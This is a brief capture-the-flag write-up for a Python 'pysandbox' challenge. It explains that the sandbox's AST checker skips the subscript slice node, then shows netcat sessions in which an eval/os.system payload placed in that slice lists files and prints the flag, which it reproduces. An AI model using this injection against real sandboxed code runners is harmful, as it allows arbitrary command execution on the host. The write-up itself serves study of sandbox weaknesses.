Rating:

## pysandbox

The sandbox checks the ast tree recursively, but there are something it won't check, for example:

```python
import ast

b = ast.parse('[0][0]').body # [<_ast.Expr at 0x10b636780>]
b = b[0].value # <_ast.Subscript at 0x10b63ce10>
b.slice # <_ast.Index at 0x10b63cbe0>
```

You may notice that `slice` is not in the blacklist, let's place some code there.

```shell
$ nc pwn1.chal.ctf.westerns.tokyo 30001
[0][eval('__import__("os").system("ls")') and 0]
flag
run.sh
sandbox.py
0

$ nc pwn1.chal.ctf.westerns.tokyo 30001
[0][eval('__import__("os").system("cat flag")') and 0]
TWCTF{go_to_next_challenge_running_on_port_30002}
0
```